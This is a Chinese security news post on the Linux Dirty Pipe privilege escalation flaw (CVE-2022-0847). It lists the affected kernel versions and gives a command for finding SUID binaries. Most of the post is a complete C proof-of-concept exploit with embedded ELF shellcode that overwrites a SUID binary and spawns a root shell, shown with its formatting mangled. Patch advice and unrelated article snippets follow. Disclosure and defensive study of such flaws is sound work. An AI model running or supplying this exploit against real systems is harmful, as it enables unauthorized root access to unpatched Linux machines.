【漏洞速递 | CVE-2022-0847 | 附POC】Linux DirtyPipe权限提升漏洞

VSole2022-03-09 22:10:19

0x01 前言

    攻击者通过利用CVE-2022-0847-DirtyPipe漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到root权限。

0x02 漏洞影响

影响版本

5.8 <= Linux kernel < 5.16.11 / 5.15.25 / 5.10.102

安全版本

该漏洞已在Linux 5.16.11、5.15.25 和 5.10.102 中修复。

0x03 漏洞复现

先找一个具有SUID权限的可执行文件,进行提权

find / -user root -perm /4000 2>/dev/null

漏洞PoC:

// dirtypipez.c
#define _GNU_SOURCE#include #include #include #include #include #include #include #include 
#ifndef PAGE_SIZE#define PAGE_SIZE 4096#endif
// small (linux x86_64) ELF file matroshka doll that does;//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);//   write(fd, elfcode, elfcode_len)//   chmod("/tmp/sh", 04755)//   close(fd);//   exit(0);//// the dropped ELF simply does://   setuid(0);//   setgid(0);//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);unsigned char elfcode[] = {  /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,  0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,  0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,  0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,  0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,  0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,  0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,  0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,  0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,  0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,  0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,  0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,  0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,  0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,  0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,  0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,  0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,  0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,  0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,  0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,  0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00};
/** * Create a pipe where all "bufs" on the pipe_inode_info ring have the * PIPE_BUF_FLAG_CAN_MERGE flag set. */static void prepare_pipe(int p[2]){  if (pipe(p)) abort();
  const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);  static char buffer[4096];
  /* fill the pipe completely; each pipe_buffer will now have     the PIPE_BUF_FLAG_CAN_MERGE flag */  for (unsigned r = pipe_size; r > 0;) {    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;    write(p[1], buffer, n);    r -= n;  }
  /* drain the pipe, freeing all pipe_buffer instances (but     leaving the flags initialized) */  for (unsigned r = pipe_size; r > 0;) {    unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;    read(p[0], buffer, n);    r -= n;  }
  /* the pipe is now empty, and if somebody adds a new     pipe_buffer without initializing its "flags", the buffer     will be mergeable */}
int hax(char *filename, long offset, uint8_t *data, size_t len) {  /* open the input file and validate the specified offset */  const int fd = open(filename, O_RDONLY); // yes, read-only! :-)  if (fd < 0) {    perror("open failed");    return -1;  }
  struct stat st;  if (fstat(fd, &st)) {    perror("stat failed");    return -1;  }
  /* create the pipe with all flags initialized with     PIPE_BUF_FLAG_CAN_MERGE */  int p[2];  prepare_pipe(p);
  /* splice one byte from before the specified offset into the     pipe; this will add a reference to the page cache, but     since copy_page_to_iter_pipe() does not initialize the     "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */  --offset;  ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);  if (nbytes < 0) {    perror("splice failed");    return -1;  }  if (nbytes == 0) {    fprintf(stderr, "short splice");    return -1;  }
  /* the following write will not create a new pipe_buffer, but     will instead write into the page cache, because of the     PIPE_BUF_FLAG_CAN_MERGE flag */  nbytes = write(p[1], data, len);  if (nbytes < 0) {    perror("write failed");    return -1;  }  if ((size_t)nbytes < len) {    fprintf(stderr, "short write");    return -1;  }
  close(fd);
  return 0;}
int main(int argc, char **argv) {  if (argc != 2) {    fprintf(stderr, "Usage: %s SUID", argv[0]);    return EXIT_FAILURE;  }
  char *path = argv[1];  uint8_t *data = elfcode;
  int fd = open(path, O_RDONLY);  uint8_t *orig_bytes = malloc(sizeof(elfcode));  lseek(fd, 1, SEEK_SET);  read(fd, orig_bytes, sizeof(elfcode));  close(fd);
  printf("[+] hijacking suid binary..");  if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {    printf("[~] failed");    return EXIT_FAILURE;  }
  printf("[+] dropping suid shell..");  system(path);
  printf("[+] restoring suid binary..");  if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {    printf("[~] failed");    return EXIT_FAILURE;  }
  printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))");  system("/tmp/sh");
  return EXIT_SUCCESS;}

0x04 修复建议

升级linux内核到安全版本:

Linux 内核 >= 5.16.11
Linux 内核 >= 5.15.25
Linux 内核 >= 5.10.102

0x05 参考链接

https://mp.weixin.qq.com/s?__biz=MzI1NTM4ODIxMw==&tempkey=MTE1NV9PVis1NU85cFZZQXVFYmZ1WTVkUlpsVGVvTGwwbndZX0lHUjM2dklaaXpieTFFeHlxblJkZkpzZmpSanRZRk1way1RRldoTkJlT1pNSlo2UmkwNzMzTVg2YUpvVjZSLTY4N0RKWGhPNUtSVGx2cE5rS2dxN1BXc1BtR2hpS2JwZFZMOFZNa0VveVdKMnYxUHlNN0xGS3lBd0hNUGRpRTFPRWc5aDRBfn4%3D&chksm=6a341e415d4397575012b4578d63c643957352ee896b255943cb5f52a6471389907b129d6b26#rdhttps://mp.weixin.qq.com/s/oMe3CbXpgfncq1qzXsHnHg
linux系统pipe
本作品采用《CC 协议》,转载必须注明作者和本文链接
arch #显示机器的处理器架构(1) uname -m #显示机器的处理器架构(2) uname -r #显示正在使用的内核版本 dmidecode -q #显示硬件系统部件 - (SMBIOS / DMI) hdparm -i /dev/hda #罗列一个磁盘的架构特性 hdparm -tT /dev/sda #在磁盘上执行测试性读取操作 cat /p
数据库注入提权总结
2022-08-10 15:52:54
首先,不能直接将该函数注入子查询中,因为 Oracle 不支持堆叠查询 。其次,只有数据库管理员才能使用 DBMS_LOCK 包。在 Oracle PL/SQL 中有一种更好的办法,可以使用下面的指令以内联方式注入延迟:dbms_pipe.receive_messageDBMS_PIPE.RECEIVE_MESSAGE() 函数将为从 RDS 管道返回的数据等待 10 秒。
​Cobalt Strike基础使用
2021-10-28 08:48:39
Cobalt Strike分为客户端组件和服务器组件,服务器的组件也是团队服务器,可以放在局域网或者公网下进行团队使用,也是Cobalt Strike社会工程功能的托管机器,团队服务器还可以存储由Cobalt Strike收集的数据,并且进行日志管理。其支持多主机连接,部署好Beacon后提交一个要连回的域名或主机的列表,Beacon将通过这些主机轮询。
从去年爆出来的PolKit(CVE-2021-4034)漏洞和今年年初爆出来的DirtyPipe(CVE-2022-0847),能够对Linux操作系统带来十分严重的安全威胁。
译者:知道创宇404实验室翻译组原文链接:... 摘要 长期以来,Trickbot一直是主要的银行恶意软件家族之一。尽管最近发生了一些干扰事件,但攻击者仍在继续推动恶意软件的发展,并在最近开始将其部分代码移植到Linux...
Zero漏洞概述中国蚁剑是一款开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。2019年4月12日凌晨,有用户在中国蚁剑GitHub上提交了issue,称发现中国蚁剑存在XSS漏洞,借此可引起RCE。据悉,该漏洞是因为在webshell远程连接失败时,中国蚁剑会返回错误信息,但因为使用的是html解析,导致xss漏洞。如果没有关闭火绒,则会报僵尸网络攻击,并将攻击进行拦截。
任务的状态保存及再加载, 这段过程就叫做上下文切换。上下文切换会导致额外的开销,常常表现为高并发执行时速度会慢串行,因此减少上下文切换次数便可以提高多线程程序的运行效率。在这种机制下,一个线程的堵塞不会导致整个进程堵塞。当CPU接收到中断请求时,会在正在运行的程序和发起中断请求的程序之间进行一次上下文切换。高并发,低耗时的情况,建议少线程。
Seccomp BPF与容器安全
2022-07-17 10:07:03
本文详细介绍了关于seccomp的相关概念,包括seccomp的发展历史、Seccomp BPF的实现原理以及与seccomp相关的一些工具等。此外,通过实例验证了如何使用seccomp bpf 来保护Docker的安全。
2021 年,随着数字货币的流行以及国家间对抗的加剧,以“高级持续性威胁”(APT)组织为代表的黑客组织高度活跃,严重危及各国的政治、经济和军事安全,甚至一度引发社会动荡。这一年来,利用主流产品的漏洞入侵系统仍是黑客组织最青睐的攻击手段,被利用的零日漏洞仅上半年内就多达 40 个,范围遍及 Window、Microsoft Office、iOS、Android 和 Chrome等几乎所有主流系统
VSole
网络安全专家